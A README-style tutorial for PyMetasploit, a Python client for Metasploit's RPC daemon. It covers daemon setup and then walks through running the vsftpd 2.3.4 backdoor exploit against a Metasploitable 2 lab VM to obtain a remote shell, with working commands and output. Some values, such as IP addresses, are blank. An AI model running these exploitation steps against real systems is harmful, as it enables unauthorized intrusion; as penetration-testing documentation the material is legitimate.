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PyMetasploit - a full-fledged msfrpc library for Python

PyMetasploit is a full-fledged msfrpc library for Python. It is meant to interact with the msfrpcd daemon that comes with the latest versions of Metasploit. It does NOT interact with the console-based scripts that Metasploit provides such as msfconsole, msfvenom, etc. Therefore, before you can begin to use this library, you'll need to initialize msfrpcd and optionally (highly recommended) PostgreSQL.


Before we begin, you'll need to install the following components:

Installing PostgreSQL is highly recommended as it will improve response times when querying msfrpcd (Metasploit RPC daemon) for module information.


Starting msfrpcd

msfrpcd accepts the following arguments:

$ ./msfrpcd -h

   Usage: msfrpcd <options>


       -P <opt>  Specify the password to access msfrpcd
       -S        Disable SSL on the RPC socket
       -U <opt>  Specify the username to access msfrpcd
       -a <opt>  Bind to this IP address
       -f        Run the daemon in the foreground
       -h        Help banner
       -n        Disable database
       -p <opt>  Bind to this port instead of 55553
       -u <opt>  URI for Web server

The only parameter that is required to launch msfrpcd is the -P (password) parameter. This specifies the password that will be used to authenticate users to the daemon. As of this writing, msfrpcd only supports one username/password combination. However, the same user can log into the daemon multiple times. Unless specified otherwise, the msfrpcd daemon listens on port 55553 on all interfaces (

For the purposes of this tutorial let's start the msfrpcd daemon with a minimal configuration:

$ ./msfrpcd -P mypassword -n -f -a
[*] MSGRPC starting on (SSL):Msg...
[*] MSGRPC ready at 2014-04-19 23:49:39 -0400.

The -f parameter tells msfrpcd to remain in the foreground and the -n parameter disables database support. Finally, the -a parameter tells msfrcpd to listen for requests only on the local loopback interface (

MsfRpcClient - Brief Overview

Connecting to msfrpcd

Let's get started interacting with the Metasploit framework from python:

>>> from metasploit.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('mypassword')

The MsfRpcClient class provides the core functionality to navigate through the Metasploit framework. Let's take a look at its underbelly:

>>> [m for m in dir(client) if not m.startswith('_')]
['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins',
'port', 'server', 'sessionid', 'sessions', 'ssl', 'uri']

Like the metasploit framework, MsfRpcClient is segmented into different management modules:

  • auth: manages the authentication of clients for the msfrpcd daemon.
  • consoles: manages interaction with consoles/shells created by Metasploit modules.
  • core: manages the Metasploit framework core.
  • db: manages the backend database connectivity for msfrpcd.
  • modules: manages the interaction and configuration of Metasploit modules (i.e. exploits, auxiliaries, etc.)
  • plugins: manages the plugins associated with the Metasploit core.
  • sessions: manages the interaction with Metasploit meterpreter sessions.

Running an Exploit

Just like the Metasploit console, you can retrieve a list of all the modules that are available. Let's take a look at what exploits are currently loaded:

>>> client.modules.exploits
['windows/wins/ms04_045_wins', 'windows/winrm/winrm_script_exec', 'windows/vpn/safenet_ike_11',
'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ...
'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21']

We can also retrieve a list of auxiliary, encoders, nops, payloads, and post modules using the same syntax:

>>> client.modules.auxiliary
>>> client.modules.encoders
>>> client.modules.nops
>>> client.modules.payloads

Now let's interact with one of the exploit modules:

>>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')

If all is well at this point, you will be able to query the module for various pieces of information such as author, description, required run-time options, etc. Let's take a look:

>>>  print exploit.description

          This module exploits a malicious backdoor that was added to the	VSFTPD download
          archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
          June 30th 2011 and July 1st 2011 according to the most recent information
          available. This backdoor was removed on July 3rd 2011.

>>> exploit.authors
['hdm <>', 'MC <>']
>>> exploit.options
['TCP::send_delay', 'ConnectTimeout', 'SSLVersion', 'VERBOSE', 'SSLCipher', 'CPORT', 'SSLVerifyMode', 'SSL', 'WfsDelay',
'CHOST', 'ContextInformationFile', 'WORKSPACE', 'EnableContextEncoding', 'TCP::max_send_size', 'Proxies',
'DisablePayloadHandler', 'RPORT', 'RHOST']
>>> exploit.required # Required options
['ConnectTimeout', 'RPORT', 'RHOST']

That's all fine and dandy but you're probably really itching to pop a box with this library right now, amiright!? Let's do it! Let's use a Metasploitable 2 instance running on a VMWare machine as our target. Luckily it's running our favorite version of vsFTPd - 2.3.4 - and we already have our exploit module loaded in PyMetasploit. Our next step is to specify our target:

>>> exploit['RHOST'] = '' # IP of our target host

You can also specify or retrieve other options as well, as long as they're listed in exploit.options, using the same method as shown above. For example, let's get and set the VERBOSE option:

>>> exploit['VERBOSE']
>>> exploit['VERBOSE'] = True
>>> exploit['VERBOSE']

Awesome! So now we're ready to execute our exploit. All we need to do is select a payload:

>>> exploit.payloads

At this point, this exploit only supports one payload (cmd/unix/interact). So let's pop a shell:

>>> exploit.execute(payload='cmd/unix/interact')
{'job_id': 1, 'uuid': '3whbuevf'}

Excellent! It looks like our exploit ran successfully. How can we tell? The job_id key contains a number. If the module failed to execute for any reason, job_id would be None. For long running modules, you may want to poll the job list by checking Since this is a fairly quick exploit, the job list will most likely be empty and if we managed to pop our box, we might see something nice in the sessions list:

>>> client.sessions.list
{1: {'info': '', 'username': 'ndouba', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact',
'uuid': '5orqnnyv', 'tunnel_local': '', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor',
'exploit_uuid': '3whbuevf', 'tunnel_peer': '', 'workspace': 'false', 'routes': '',
'target_host': '', 'type': 'shell', 'session_host': '', 'desc': 'Command shell'}}

Success! We managed to pop the box! client.sessions.list shows us that we have a live session with the same uuid as the one we received when executing the module earlier (exploit.execute()). Let's interact with the shell:

>>> shell = client.sessions.session(1)
>>> shell.write('whoami\n')
>>> print
>>> # Happy dance!

This is just a sample of how powerful PyMetasploit can be. Use your powers wisely, Grasshopper, because with great power comes great responsibility – unless you are a banker.


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A full-fledged msfrpc library for Metasploit framework.






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